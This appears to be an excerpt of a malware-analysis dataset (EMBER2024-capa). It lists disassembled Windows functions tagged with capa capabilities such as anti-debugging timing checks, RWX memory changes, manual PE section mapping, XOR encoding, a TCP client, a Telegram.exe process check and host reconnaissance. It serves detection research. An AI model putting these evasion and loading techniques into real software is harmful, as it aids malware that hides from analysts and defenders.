joyce8/EMBER2024-capa huggingface dataset:
Function at 0x568e90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x568fda
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c]
call fcn.0040b590
mov edx, dword [ebp - 0x2c]
mov eax, edi
mov ecx, 0x568ff0
call fcn.004056ec
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 8]
call fcn.004053d4
xor ebx, ebx
mov esi, 0x41
lea eax, [ebp - 0x30]
mov edx, esi
call fcn.004055bc
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 4]
mov ecx, 0x568ffc
call fcn.004056ec
mov eax, dword [ebp - 4]
call fcn.00405864
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
jne 0x568f94
lea eax, [ebp - 0x34]
mov ecx, 0x569008
mov edx, dword [ebp - 4]
call fcn.004056ec
mov eax, dword [ebp - 0x34]
call fcn.0040ae84
test al, al
jne 0x568f83
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.00405864
push eax
mov eax, dword [0x59a2b4]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x24]
jne 0x568f67
cmp eax, dword [ebp - 0x28]
jbe 0x568f7f
jmp 0x568f69
jle 0x568f7f
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00405428
mov bl, 1
jmp 0x568f94
cmp dword [ebp - 8], 0
jne 0x568f94
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040546c
inc esi
cmp esi, 0x5b
jne 0x568eee
test bl, bl
jne 0x568fb2
cmp dword [ebp - 8], 0
je 0x568fb2
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.00405428
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x568fe1
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.004053f8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004053f8
ret
Function at 0x402466
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov dword [ebp - 0x1c], 0x6661702e
mov dword [ebp - 0x18], 0x687369
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ebx, eax
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, ebx
add eax, 1
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_calloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strncat
mov dword [ebp - 0xc], 0
jmp 0x402514
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x5f
jne 0x402510
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0x2d
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp dword [ebp - 0xc], eax
jl 0x4024f6
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_getaddrinfo]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402564
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_freeaddrinfo]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_free
nop
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x40275f
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40280d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [ebp - 0x20], 0x400
call fcn.004026fa
test eax, eax
je 0x402894
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20119
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
jmp 0x4028c5
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4029d2
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x20]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x420]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov edx, dword [ebp + 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
cmp dword [ebp - 0xc], 0
jne 0x4029d2
mov dword [ebp - 0x10], 0
jmp 0x40295b
lea edx, [ebp - 0x420]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_toupper]
call eax
mov edx, eax
lea ecx, [ebp - 0x420]
mov eax, dword [ebp - 0x10]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x10], 1
lea eax, [ebp - 0x420]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp dword [ebp - 0x10], eax
jb 0x40292d
mov dword [ebp - 0x10], 0
jmp 0x40299f
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_toupper]
call eax
mov edx, eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jb 0x402977
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
lea eax, [ebp - 0x420]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4029d2
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x4029e2
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0
leave
ret
Function at 0x4029e4
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0xffffffff
call fcn.004026fa
cmp eax, 1
jne 0x402a31
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp], eax
call fcn.00402650
test eax, eax
je 0x402a44
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.004026a5
jmp 0x402a44
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
setne al
movzx eax, al
leave
ret

Function at 0x402a50
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x6f
jne 0x402b71
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_LocalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
je 0x402b71
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
mov dword [ebp - 0x1e], 0
mov word [ebp - 0x1a], 0
jmp 0x402b5b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x34]
cmp eax, 6
jne 0x402b52
mov eax, dword [ebp - 0xc]
add eax, 0x2c
mov edx, dword [eax]
mov dword [ebp - 0x1e], edx
movzx eax, word [eax + 4]
mov word [ebp - 0x1a], ax
mov dword [esp + 8], 3
lea eax, [ebp - 0x1e]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x402b52
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov eax, 1
jmp 0x402b76
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402aff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov eax, 0
leave
ret
Function at 0x402b78
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 0x7fe
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call sub.msvcrt.dll_mbstowcs
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x6f
jne 0x402c90
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_LocalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
je 0x402c90
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
test eax, eax
jne 0x402c80
jmp 0x402c7a
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x24]
lea edx, [ebp - 0x818]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_wcsstr
test eax, eax
je 0x402c71
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov eax, 1
jmp 0x402c95
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402c3e
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov eax, 0
leave
ret
Function at 0x402c97
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x18], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.ole32.dll_CoInitializeEx]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x402cd0
mov eax, 0
jmp 0x402e20
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0
mov eax, dword [sym.imp.ole32.dll_CoInitializeSecurity]
call eax
sub esp, 0x24
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x402d3b
mov eax, dword [sym.imp.ole32.dll_CoUninitialize]
call eax
mov eax, 0
jmp 0x402e20
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x412f18
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x4113f8
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x402d85
mov eax, dword [sym.imp.ole32.dll_CoUninitialize]
call eax
mov eax, 0
jmp 0x402e20
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysAllocString]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov ecx, dword [ebp - 0x10]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 0x24
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
not eax
shr eax, 0x1f
movzx eax, al
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysFreeString]
call eax
sub esp, 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x18]
mov dword [esp], edx
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
leave
ret

Function at 0x4044b1
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
rdtsc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0xc]
mov ebx, 0
mov eax, dword [ebp - 0x10]
mov edx, 0
mov edx, eax
mov eax, 0
mov esi, ecx
or esi, eax
mov dword [ebp - 0x18], esi
or ebx, edx
mov eax, ebx
mov dword [ebp - 0x14], eax
rdtsc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0xc]
mov ebx, 0
mov eax, dword [ebp - 0x10]
mov edx, 0
mov edx, eax
mov eax, 0
mov esi, ecx
or esi, eax
mov dword [ebp - 0x20], esi
or ebx, edx
mov eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
add esp, 0x20
pop ebx
pop esi
pop ebp
ret
Function at 0x404526
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
rdtsc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0xc]
mov ebx, 0
mov eax, dword [ebp - 0x10]
mov edx, 0
mov edx, eax
mov eax, 0
mov esi, ecx
or esi, eax
mov dword [ebp - 0x18], esi
or ebx, edx
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, 0
cpuid
rdtsc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0xc]
mov ebx, 0
mov eax, dword [ebp - 0x10]
mov edx, 0
mov edx, eax
mov eax, 0
mov esi, ecx
or esi, eax
mov dword [ebp - 0x20], esi
or ebx, edx
mov eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
add esp, 0x20
pop ebx
pop esi
pop ebp
ret

Function at 0x405960
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.0040bc70
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.0040bc70
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x4059c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x414868]
test esi, esi
jle 0x405ae0
mov eax, dword [0x41486c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4059f4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x405a77
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4059e0
mov dword [esp], ebx
call fcn.004063d0
mov edi, eax
test eax, eax
je 0x405b07
mov eax, dword [0x41486c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00406510
mov edx, dword [0x41486c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x405ae7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x405a70
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x405a80
add dword [0x414868], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x41486c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x405a70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00405960
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x4059fe
mov eax, dword [0x41486c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00405960
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00405960
lea esi, cs:[esi]
nop

Function at 0x406050
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x414884
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x41487c]
sub esp, 4
test ebx, ebx
je 0x4060a5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40609e
test esi, esi
je 0x40609e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x406080
mov dword [esp], 0x414884
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4063d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4063f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x406400
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4063f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x406448
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40643e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40644a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x406430
xor eax, eax
pop ebx
pop esi
ret
Function at 0x407040
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x138
mov eax, dword [str.Telegram.exe]
mov ecx, dword [0x45e620]
mov edx, dword [0x45e624]
push esi
push edi
mov dword [esp + 8], eax
mov al, byte [0x45e628]
push 0
push 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
mov byte [esp + 0x1c], al
mov dword [esp + 0x20], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x4070df
lea ecx, [esp + 0x18]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4070d8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x3c]
lea eax, [esp + 8]
push edx
push eax
call edi
test eax, eax
je 0x4070ca
lea ecx, [esp + 0x18]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4070d8
lea edx, [esp + 0x3c]
lea eax, [esp + 8]
push edx
push eax
call edi
test eax, eax
jne 0x4070ab
pop edi
mov eax, 1
pop esi
add esp, 0x138
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x138
ret

Function at 0x40c330
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x44d778
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4db78], edi
mov dword [esi + 4], edi
mov ecx, 0x136d9
xor eax, eax
lea edi, [esi + 0x4db7c]
mov dword [esi + 8], 0xffffffff
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x40c540
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.0040c3e0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40c588
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x29
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40c562
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x40c620
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x40c643
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
push ebp
mov ebp, dword [esp + 0x24]
push edi
xor ebx, ebx
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebp
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov ecx, dword [edi + 0xc]
push 0x10
mov edx, dword [ecx]
lea ecx, [esp + 0x14]
push ecx
mov eax, dword [edx]
mov edx, dword [esi + 8]
push edx
mov dword [esp + 0x20], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40c6ae
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [esi + 0xc]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc ebx
cmp ebx, 4
jl 0x40c64c
jmp 0x40c64a
push 0
push 0
push esi
push 0x40c6e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x40cf40
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449ce0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], esp
push 0x457438
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0x2e
call fcn.004162cf
mov ecx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], 0
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x28], edx
mov si, word [eax + 0x14]
lea esi, [esi + eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [ecx]
xor eax, eax
mov ax, word [ecx + 6]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
jge 0x40d071
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x40cff4
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ecx + 0x38]
test ebx, ebx
jle 0x40d059
mov eax, dword [esi + 0xc]
push 4
push 0x1000
add eax, edx
push ebx
push eax
call dword [0x46333c]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40d059
push 4
push 0x1000
push eax
mov eax, dword [esi + 0xc]
add eax, edx
push eax
call dword [0x46333c]
lea ecx, [ebp - 0x24]
push 0x457438
push ecx
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x24], 0x63
call fcn.004162cf
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov eax, dword [ebp + 8]
mov edx, ecx
add esi, eax
mov eax, 0x40d049
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
ret
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
inc ecx
add esi, 0x28
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x18], esi
jmp 0x40cf9f
mov eax, 0x40d077
ret